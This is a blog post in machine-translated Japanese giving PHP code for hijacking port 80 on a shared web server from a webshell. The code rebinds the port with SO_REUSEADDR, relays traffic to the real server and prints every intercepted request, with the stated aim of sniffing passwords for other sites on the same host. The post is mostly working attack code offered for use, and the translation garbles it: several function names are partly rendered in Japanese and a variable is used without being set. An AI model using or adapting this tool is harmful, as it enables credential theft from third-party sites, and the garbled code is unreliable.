?
数日前、外国人が書いた記事をメールリストに投稿しました, その旨 php を使用してデータをハイジャックして転送できます。調べてみると、それは確かに実現可能であることがわかったので、今日はくだらない話に費やしていた時間を費やして、アイデアを検証するためにコードを書きました。外国人の原文はPDFですので、興味のある方はご覧ください。アドレスは http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf です。実際、この原理に関しては、昔、flashsky が SO_REUSEADDR を介して繰り返しポート バインディングを実装する方法を xfocus に投稿したことを思い出します。また、mix もゲスト権限を使用したパスワード スニッフィング メソッドを書きました。ここでの違いは、WebShell で使用できる PHP で実装されていることです。もちろん、シェルがないのでテストしていません。
これは、以前の「PHP でのポートの再利用/ハイジャック」とはまったく異なることに注意してください。その記事は、http://www.west999.com/info /html/wangluobiancheng にあります。 /Phpbiancheng/20080224/22439.html。なぜ違うのかについては、言いません。
コードについては詳しくコメントしましたが、個人的にはかなり良いと思うので、詳細は説明しません。ここで、技術的な困難について簡単に説明します。まず、Web にはマルチスレッドやマルチプロセスはありませんが、新しい接続はすべて処理する必要があります。明らかに、受け入れのみがブロックされ、後続の各セッションも個別に処理する必要があるため、連続して実行することはできません。幸いなことに、マニュアルを確認したところ、古典的なsocket_select関数が利用可能であることがわかりました。これは多重化のプロフェッショナルであると言えます。
詳細なコメント付きの PHP コードは次のとおりです。ブログに投稿されているため、コードにはいくつかの点が欠けている可能性があります。また、その他のサポートは提供しません。コードを見てください。
class select
{
var $sockets;
//Constructor
function select($sockets)
{
$this->sockets = array();
foreach($sockets as $socket)
{
$this->add($socket);
}
}
function add($add_socket)
{
//array_push($ this->sockets, $add_socket);
$this->sockets[] = $add_socket;
}
//一時配列を使用して配列内の要素を削除します
function delete( $remove_socket)
{
$tmp_sockets = array();
foreach($this->sockets as $socket)
{
if($remove_socket ! = $socket )
{
$tmp_sockets[] = $socket;
}
}
$this->sockets = $tmp_sockets;
}
// ソケット配列が読み取り可能かどうかを確認し、タイムアウトを渡し、ソケット配列を返します
function can_read($timeout)
{
$read = $this->sockets;
socket_select( $read , $write = NULL, $excel = NULL, $timeout );
return $read;
}
// ソケット配列が書き込み可能かどうかを確認し、渡しますタイムアウトを返し、ソケット配列を返します
function can_write($timeout)
{
$write = $this->sockets;
ソケット_select( $read = NULL, $write, $excel = NULL, $timeout );
return $write;
}
}
// Web ページはタイムアウトしません
set_time_limit(0);
// バッファリングせずにすぐにデータを出力します
ob_end_clean( );
ob_implicit_flush(true);
if( !isset($_GET["listen_ip"]) )
{
exit ;
}
if( $_GET ["listen_ip"] == "" )
{
exit;
}
$listen_ip = $_GET["listen_ip" ];
$listen_port = 80;
// ソケットを作成します
$listen_sock =ソケット_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 繰り返しバインディングを設定します
ソケットセットオプション($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);
// バインディング IP アドレスを明示的に指定し、最初にデータを取得します
ソケットバインド($listen_sock, $listen_ip, $listen_port);
// リスニングを開始します
socket_listen ($listen_sock );
echo "listen on ".htmlentities($listen_ip)." :".$listen_port."
";
// ソケット配列を作成し、select を使用してポーリングします
$check_socks = array($listen_sock);
// クライアント ソケットとサーバー ソケットをマップします
// $socket_maps1 はクライアント ソケットを使用しますas key
// $socket_maps2 はサーバーソケットをキーとして使用します
// 速度を上げるためにメモリを交換し、次の検索を容易にします
$socket_maps1 = array( );
$socket_maps2 = array( );
.................................................. ......................................
while(true)
{
/*
print_r( $socket_maps );
print "< ;br />";
*/
// ポーリングを選択、タイムアウト 2 秒
foreach ($select- >can_read(1) as $socket)
{
// listen_sock は読み取り可能であり、誰かが接続していることを示します
if( $socket == $listen_sock )
{
// 受け入れる新しい接続を作成し、ローテーション配列に追加します
$new_client =ソケット_accept($listen_sock );
$select->add($new_client);
socket_getpeername($new_client, $ip, $ port);
echo "新しいクライアントが接続されました: $ip, $port
";
// 実サーバーへのソケットを作成します
$server_sock =ソケット_create(AF_INET, SOCK_STREAM) 、SOL_TCP);
ソケット接続($server_sock,"127.0.0.1", $listen_port );
//実サーバーソケットと実クライアントソケット間のマッピング関係を確立します
$socket_maps1[$new_client] = $server_sock;
$socket_maps2[$server_sock] = $new_client;
//選択ポーリングに追加
$select->add($server_sock);
// $listen_sock の読み取り可能なデータは、新しい接続があり、処理されているためです。以下でデータ転送が開始されるため、一時的に削除します
//select->remove( $listen_sock );
}
// 他のソケットは読み取り可能であり、必要なデータがあることを示していますto be transfer
else
{
// データの読み取りに失敗した場合は、ポーリング ソケットから削除してソケットを閉じます
$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
if ($client_data = == false)
{
socket_close( $socket );
$select->remove( $socket );
echo "クライアントが切断されました。
";
Continue;
}
// ソケットが $socket_maps1 のキーにある場合、データがクライアントから読み取られることを意味します
if( in_array ( $socket, array_keys($socket_maps1)) )
{
//echo "クライアントから読み取られました。
";
if( !socket_write( $socket_maps1[$socket], $ client_data ) )
{
ソケットクローズ( $socket );
ソケットクローズ( $socket_maps1[$socket] );
$select->remove( $socket );
$select-> ;remove( $socket_maps1[$socket] ) ;
print "サーバーへの書き込みエラー。
";
}
print htmlentities($client_data)."< ;br />";
}
// それ以外の場合、ソケットが $socket_maps2 のキーにある場合、データが実際の Web サーバーから読み取られたことを意味します
elseif( in_array( $socket, array_keys($socket_maps2) ) )
{
//echo "サーバーから読み取られました。
";
if( !socket_write( $socket_maps2[$socket], $client_data ) )
{
ソケットクローズ( $socket );
ソケットクローズ( $socket_maps2[$socket] );
$select->remove( $socket );
$select->remove( $ socket_maps2[$socket] );
print "クライアントへの書き込みエラー。
";
}
print htmlentities($client_data)."
}
}
}
}
?>
これは何をするものですか?自由に遊んでください。 Web シェルはあるかもしれませんが、同じサーバー上の他の Web サイトのパスワードを知りたい場合は、Windows XP Apache でテストしました。私の知る限り、Windows 2003 ではデフォルトでポート バインドを繰り返すことができません。
?
詳細ページ:http://www.verydemo.com/demo_c116_i115729.html